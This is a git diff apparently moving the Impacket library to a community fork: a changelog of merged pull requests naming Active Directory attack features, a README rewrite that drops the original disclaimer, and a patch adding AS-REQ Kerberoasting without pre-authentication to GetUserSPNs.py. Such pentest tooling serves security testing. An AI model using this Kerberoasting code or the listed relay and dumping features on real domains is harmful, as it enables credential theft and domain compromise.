fortra · ShutdownRepo · Feb 18, 2022 · Feb 18, 2022 · Feb 18, 2022 · Feb 18, 2022
diff --git a/ChangeLog.md b/ChangeLog.md
@@ -5,6 +5,48 @@ Project owner's main page is at www.coresecurity.com.
 Complete list of changes can be found at:
 https://github.com/fortra/impacket/commits/master
 
+## ThePorgs edits (not limited to):
+* [1135](https://github.com/fortra/impacket/pull/1135): **[GetUserSPNs]** Improved searchFilter for GetUserSPNs
+* [1137](https://github.com/fortra/impacket/pull/1137): **[SystemDPAPIdump]** Added script example (in https://github.com/ThePorgs/impacket/pull/6)
+* [1154](https://github.com/fortra/impacket/pull/1154): **[ntlmrelayx]** Unfiltered SID query when operating ACL attack
+* [1184](https://github.com/fortra/impacket/pull/1184): **[findDelegation]** Added user filter on findDelegation
+* [1201](https://github.com/fortra/impacket/pull/1201): **[describeTicket]** Added describeTicket
+* [1202](https://github.com/fortra/impacket/pull/1202): **[getST]** Added -self, -altservice and -u2u to getST for S4U2self abuse, S4U2self+u2u, and service substitution
+* [1224](https://github.com/fortra/impacket/pull/1224): **[renameMachine]** Added renameMachine
+* [1253](https://github.com/fortra/impacket/pull/1253): **[ntlmrelayx]** Added LSA dump on top of SAM dump for ntlmrelayx
+* [1256](https://github.com/fortra/impacket/pull/1256): **[tgssub]** Added tgssub script for service substitution
+* [1261](https://github.com/fortra/impacket/pull/1261): **[secretsdump]** LSA's Security Questions Security Answers structure empty fix (in https://github.com/ThePorgs/impacket/pull/21)
+* [1262](https://github.com/fortra/impacket/pull/1262): **[secretsdump]** Added parsing of SCM passwords (in https://github.com/ThePorgs/impacket/pull/20)
+* [1267](https://github.com/fortra/impacket/pull/1267): **[Get-GPPPasswords]** Better handling of various XML files in Group Policy Preferences
+* [1270](https://github.com/fortra/impacket/pull/1270): **[ticketer]** Fix ticketer duration to support default 10 hours tickets
+* [1280](https://github.com/fortra/impacket/pull/1280): **[machineAccountQuota]** added machineAccountQuota
+* [1288](https://github.com/fortra/impacket/pull/1288): **[ntlmrelayx]** LDAP attack: bypass computer creation restrictions with CVE-2021-34470 (in https://github.com/ThePorgs/impacket/pull/8)
+* [1289](https://github.com/fortra/impacket/pull/1289): **[ntlmrelayx]** LDAP attack: Add DNS records through LDAP
+* [1290](https://github.com/fortra/impacket/pull/1290): **[ntlmrelayx]** Adds the creation of a new machine account through SMB (in https://github.com/ThePorgs/impacket/pull/24)
+* [1291](https://github.com/fortra/impacket/pull/1291): **[dacledit]** New example script for DACL manipulation (in https://github.com/ThePorgs/impacket/pull/7)
+* [1301](https://github.com/fortra/impacket/pull/1301): **[secretsdump]** Added OpenGPG public/private key parsing (in https://github.com/ThePorgs/impacket/pull/19)
+* [1318](https://github.com/fortra/impacket/pull/1318): **[ntlmrelayx]** Dump ADCS: bug fixes (in https://github.com/ThePorgs/impacket/pull/9)
+* [1323](https://github.com/fortra/impacket/pull/1323): **[owneredit]** New example script to change an object's owner
+* [1329](https://github.com/fortra/impacket/pull/1329): **[secretsdump]** Use a custom LDAP filter during a DCSync
+* [1353](https://github.com/fortra/impacket/pull/1353): **[ntlmrelayx]** add filter option
+* [1360](https://github.com/fortra/impacket/pull/1360): **[smbserver]** Added flag to drop SSP from Net-NTLMv1 auth
+* [1367](https://github.com/fortra/impacket/pull/1367): **[secretsdump]** Add UTC date to cached domain logon information (in https://github.com/ThePorgs/impacket/pull/10)
+* [1391](https://github.com/fortra/impacket/pull/1391): **[ticketer]** Ticketer extra-pac implementation
+* [1393](https://github.com/fortra/impacket/pull/1393): **[rbcd]** Handled SID not found in LDAP error
+* [1397](https://github.com/fortra/impacket/pull/1397): **[mssqlclient]** commands and prompt improvements
+* [1411](https://github.com/fortra/impacket/pull/1411): **[ticketer]** Sapphire tickets (in https://github.com/ShutdownRepo/impacket/pull/42)
+* [1413](https://github.com/fortra/impacket/pull/1413): **[getST]** Support for Kerberoasting without pre-authentication and ST request through AS-REQ
+* [1421](https://github.com/fortra/impacket/pull/1421): **[ntlmrelayx]** Fix leftover space in shadow credentials argument (in https://github.com/ThePorgs/impacket/pull/23)
+* [1425](https://github.com/fortra/impacket/pull/1425): **[ntlmrelayx]** Add SCCM NTLM Relay Attack (in https://github.com/ThePorgs/impacket/pull/14)
+* [1432](https://github.com/fortra/impacket/pull/1432): **[httprelayclient]** force NTLM auth if anonymous auth is enabled (ADCS) (in https://github.com/ThePorgs/impacket/pull/15)
+* [1444](https://github.com/fortra/impacket/pull/1444): **[Get-GPPPassword]** Handling scheduled tasks (in https://github.com/ShutdownRepo/impacket/pull/43 and https://github.com/ThePorgs/impacket/pull/2)
+* [1449](https://github.com/fortra/impacket/pull/1449): **[addcomputer,rbcd]** Allow weak TLS ciphers for LDAP connections (in https://github.com/ThePorgs/impacket/pull/4 and https://github.com/ThePorgs/impacket/pull/13)
+* [1450](https://github.com/fortra/impacket/pull/1450): **[PsExec]** Support for name customization using a custom binary file (in https://github.com/ThePorgs/impacket/pull/3)
+* [1458](https://github.com/fortra/impacket/pull/1458): **[ntlmrelayx]** SID Bruteforce over SMB (in https://github.com/ThePorgs/impacket/pull/18)
+* [1462](https://github.com/fortra/impacket/pull/1462): **[ntlmrelayx]** Filter socks connections by Admin only (in https://github.com/ThePorgs/impacket/pull/16)
+* [1474](https://github.com/fortra/impacket/pull/1474): **[epm]** add known uuids (in https://github.com/ThePorgs/impacket/pull/26)
+* [1487](https://github.com/fortra/impacket/pull/1487): **[GetUserSPNs]** Use LDAP paged search (in https://github.com/ThePorgs/impacket/pull/27)
+
 ## Impacket v0.10.1-dev (Unreleased changes):
 1. Library improvements 
     * Added new Kerberos error codes (@ly4k).
@@ -39,7 +81,6 @@ As always, thanks a lot to all these contributors that make this library better
 
 @ly4k @nopernik @snovvcrash @ShutdownRepo @kiwids0220 @mpgn @CT-H00K @rmaksimov @arossert @aevy-syn @tirkarthi @p0dalirius @Dramelac @Mayfly277 @S3cur3Th1sSh1t @nobbd @AdrianVollmer @trietend @TurtleARM @ThePirateWhoSmellsOfSunflowers @SAERXCIT @clavoillotte @Marshall-Hallenbeck @nobbd @sploutchy
 
-
 ## Impacket v0.10.0 (May 2022):
 
 1. Library improvements 

diff --git a/README.md b/README.md
@@ -1,9 +1,12 @@
+> :information_source: This is a fork specifically maintained for [The Exegol Project](https://exegol.rtfd.io/) but it can be used outside of Exegol as well. This is a fork of the official Impacket project at https://github.com/SecureAuthCorp/Impacket. It aims at being a quicker on the merge of pull requests and other community contributions. See this as a bleeding-edge version maintained by lover of Impacket.
+
+> :warning: keep in mind this fork can be less stable than the official version at times. But we think the community is strong enough to offer fixes when issues rise. We, as maintainers of this fork, will just need to be fast enough to review and merge.
+
+> :information_source: we are also working on a documentation project at [The Hacker Tools - Impacket](https://tools.thehacker.recipes/impacket). Feel free to contribute as well on the [GitHub repo](https://github.com/ShutdownRepo/The-Hacker-Tools).
+
 Impacket
 ========
 
-[![Latest Version](https://img.shields.io/pypi/v/impacket.svg)](https://pypi.python.org/pypi/impacket/)
-[![Build and test Impacket](https://github.com/fortra/impacket/actions/workflows/build_and_test.yml/badge.svg)](https://github.com/fortra/impacket/actions/workflows/build_and_test.yml)
-
 FORTRA. Copyright (C) 2022 Fortra. All rights reserved.
 
 Impacket was originally created by [SecureAuth](https://www.secureauth.com/labs/open-source-tools/impacket), and now maintained by Fortra's Core Security.
@@ -17,90 +20,15 @@ raw data, and the object-oriented API makes it simple to work with
 deep hierarchies of protocols. The library provides a set of tools
 as examples of what can be done within the context of this library.
 
-What protocols are featured?
-----------------------------
-
- * Ethernet, Linux "Cooked" capture.
- * IP, TCP, UDP, ICMP, IGMP, ARP.
- * IPv4 and IPv6 Support.
- * NMB and SMB1, SMB2 and SMB3 (high-level implementations).
- * MSRPC version 5, over different transports: TCP, SMB/TCP, SMB/NetBIOS and HTTP.
- * Plain, NTLM and Kerberos authentications, using password/hashes/tickets/keys.
- * Portions/full implementation of the following MSRPC interfaces: EPM, DTYPES, LSAD, LSAT, NRPC, RRP, SAMR, SRVS, WKST, SCMR, BKRP, DHCPM, EVEN6, MGMT, SASEC, TSCH, DCOM, WMI, OXABREF, NSPI, OXNSPI.
- * Portions of TDS (MSSQL) and LDAP protocol implementations.
-
-Maintainer
-==========
-
-[Core Security](https://www.coresecurity.com/)
-
-
-Table of Contents
-=================
-
-* [Getting Impacket](#getting-impacket)
-* [Setup](#setup)
-* [Testing](#testing)
-* [Licensing](#licensing)
-* [Disclaimer](#disclaimer)
-* [Contact Us](#contact-us)
-
-Getting Impacket
-================
-
-### Latest version
-
-* Impacket v0.10.0
-
-  [![Python versions](https://img.shields.io/pypi/pyversions/impacket.svg)](https://pypi.python.org/pypi/impacket/)
-
-[Current and past releases](https://github.com/fortra/impacket/releases)
-
-### Development version
-
-* Impacket v0.10.1-dev (**[master branch](https://github.com/fortra/impacket/tree/master)**)
-
-  [![Python versions](https://img.shields.io/badge/python-3.6%20|%203.7%20|%203.8%20|%203.9%20|%203.10-blue.svg)](https://github.com/fortra/impacket/tree/master)
-
-
 Setup
 =====
 
 ### Quick start
 
-> :information_source: We recommend using `pipx` over `pip` for system-wide installations.
-
-In order to grab the latest stable release run:
-
-    python3 -m pipx install impacket
-
-If you want to play with the unreleased changes, download the development 
-version from the [master branch](https://github.com/fortra/impacket/tree/master),
-extract the package, and execute the following command from the
-directory where Impacket has been unpacked:
-
-    python3 -m pipx install .
-
-### Docker Support
-
-Build Impacket's image:
-
-      $ docker build -t "impacket:latest" .
-
-Using Impacket's image:
-
-      $ docker run -it --rm "impacket:latest"
-
-Testing
-=======
-
-The library leverages the [pytest](https://docs.pytest.org/) framework for organizing
-and marking test cases, [tox](https://tox.readthedocs.io/) to automate the process of
-running them across supported Python versions, and [coverage](https://coverage.readthedocs.io/)
-to obtain coverage statistics.
-
-A [comprehensive testing guide](TESTING.md) is available.
-
+```
+git clone https://github.com/ThePorgs/impacket
+pipx install /path/to/impacket
+```
 
 Licensing
 =========
@@ -110,28 +38,3 @@ the Apache Software License. See the accompanying [LICENSE](LICENSE) file for
 more information.
 
 SMBv1 and NetBIOS support based on Pysmb by Michael Teo.
-
-Disclaimer
-==========
-
-The spirit of this Open Source initiative is to help security researchers,
-and the community, speed up research and educational activities related to
-the implementation of networking protocols and stacks.
-
-The information in this repository is for research and educational purposes
-and not meant to be used in production environments and/or as part
-of commercial products.
-
-If you desire to use this code or some part of it for your own uses, we
-recommend applying proper security development life cycle and secure coding
-practices, as well as generate and track the respective indicators of
-compromise according to your needs.
-
-
-Contact Us
-==========
-
-Whether you want to report a bug, send a patch, or give some suggestions
-on this package, reach out to us at https://www.coresecurity.com/about/contact.
-
-For security-related questions check our [security policy](SECURITY.md).
diff --git a/examples/GetUserSPNs.py b/examples/GetUserSPNs.py
@@ -43,7 +43,7 @@
 from impacket.examples import logger
 from impacket.examples.utils import parse_credentials
 from impacket.krb5 import constants
-from impacket.krb5.asn1 import TGS_REP
+from impacket.krb5.asn1 import TGS_REP, AS_REP
 from impacket.krb5.ccache import CCache
 from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
 from impacket.krb5.types import Principal
@@ -78,6 +78,7 @@ def __init__(self, username, password, user_domain, target_domain, cmdLineOption
         self.__targetDomain = target_domain
         self.__lmhash = ''
         self.__nthash = ''
+        self.__no_preauth = cmdLineOptions.no_preauth
         self.__outputFileName = cmdLineOptions.outputfile
         self.__usersFile = cmdLineOptions.usersfile
         self.__aesKey = cmdLineOptions.aesKey
@@ -173,9 +174,11 @@ def getTGT(self):
 
         return TGT
 
-    def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None):
-        decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
-
+    def outputTGS(self, ticket, oldSessionKey, sessionKey, username, spn, fd=None):
+        if self.__no_preauth:
+            decodedTGS = decoder.decode(ticket, asn1Spec=AS_REP())[0]
+        else:
+            decodedTGS = decoder.decode(ticket, asn1Spec=TGS_REP())[0]
         # According to RFC4757 (RC4-HMAC) the cipher part is like:
         # struct EDATA {
         #       struct HEADER {
@@ -240,7 +243,7 @@ def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None):
             logging.debug('About to save TGS for %s' % username)
             ccache = CCache()
             try:
-                ccache.fromTGS(tgs, oldSessionKey, sessionKey)
+                ccache.fromTGS(ticket, oldSessionKey, sessionKey)
                 ccache.saveFile('%s.ccache' % username)
             except Exception as e:
                 logging.error(str(e))
@@ -428,31 +431,56 @@ def request_users_file_TGSs(self):
         self.request_multiple_TGSs(usernames)
 
     def request_multiple_TGSs(self, usernames):
-        # Get a TGT for the current user
-        TGT = self.getTGT()
-
-        if self.__outputFileName is not None:
-            fd = open(self.__outputFileName, 'w+')
+        if self.__no_preauth:
+            if self.__outputFileName is not None:
+                fd = open(self.__outputFileName, 'w+')
+            else:
+                fd = None
+
+            for username in usernames:
+                try:
+                    no_preauth_pincipal = Principal(self.__no_preauth, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
+                    tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName=no_preauth_pincipal,
+                                                                            password=self.__password,
+                                                                            domain=self.__domain,
+                                                                            lmhash=(self.__lmhash),
+                                                                            nthash=(self.__nthash),
+                                                                            aesKey=self.__aesKey,
+                                                                            kdcHost=self.__kdcHost,
+                                                                            serverName=username)
+                    self.outputTGS(tgt, oldSessionKey, sessionKey, username, username, fd)
+                except Exception as e:
+                    logging.debug("Exception:", exc_info=True)
+                    logging.error('Principal: %s - %s' % (username, str(e)))
+
+            if fd is not None:
+                fd.close()
         else:
-            fd = None
+            # Get a TGT for the current user
+            TGT = self.getTGT()
 
-        for username in usernames:
-            try:
-                principalName = Principal()
-                principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value
-                principalName.components = [username]
-
-                tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain,
-                                                                        self.__kdcIP,
-                                                                        TGT['KDC_REP'], TGT['cipher'],
-                                                                        TGT['sessionKey'])
-                self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd)
-            except Exception as e:
-                logging.debug("Exception:", exc_info=True)
-                logging.error('Principal: %s - %s' % (username, str(e)))
+            if self.__outputFileName is not None:
+                fd = open(self.__outputFileName, 'w+')
+            else:
+                fd = None
+
+            for username in usernames:
+                try:
+                    principalName = Principal()
+                    principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value
+                    principalName.components = [username]
+
+                    tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain,
+                                                                            self.__kdcIP,
+                                                                            TGT['KDC_REP'], TGT['cipher'],
+                                                                            TGT['sessionKey'])
+                    self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd)
+                except Exception as e:
+                    logging.debug("Exception:", exc_info=True)
+                    logging.error('Principal: %s - %s' % (username, str(e)))
 
-        if fd is not None:
-            fd.close()
+            if fd is not None:
+                fd.close()
 
 
 # Process command-line arguments.
@@ -466,8 +494,11 @@ def request_multiple_TGSs(self, usernames):
     parser.add_argument('-target-domain', action='store',
                         help='Domain to query/request if different than the domain of the user. '
                              'Allows for Kerberoasting across trusts.')
+
     parser.add_argument('-stealth', action='store_true', help='Removes the (servicePrincipalName=*) filter from the LDAP query for added stealth. '
                                                               'May cause huge memory consumption / errors on large domains.')
+    parser.add_argument('-no-preauth', action='store', help='account that does not require preauth, to obtain Service Ticket'
+                                                         ' through the AS')
     parser.add_argument('-usersfile', help='File with user per line to test')
     parser.add_argument('-request', action='store_true', default=False, help='Requests TGS for users and output them '
                                                                              'in JtR/hashcat format (default False)')
@@ -510,6 +541,11 @@ def request_multiple_TGSs(self, usernames):
     # Init the example's logger theme
     logger.init(options.ts)
 
+    if options.no_preauth and options.usersfile is None:
+        logging.error('You have to specify -usersfile when -no-preauth is supplied. Usersfile must contain'
+                      ' a list of SPNs and/or sAMAccountNames to Kerberoast.')
+        sys.exit(1)
+
     if options.debug is True:
         logging.getLogger().setLevel(logging.DEBUG)
         # Print the Library's installation path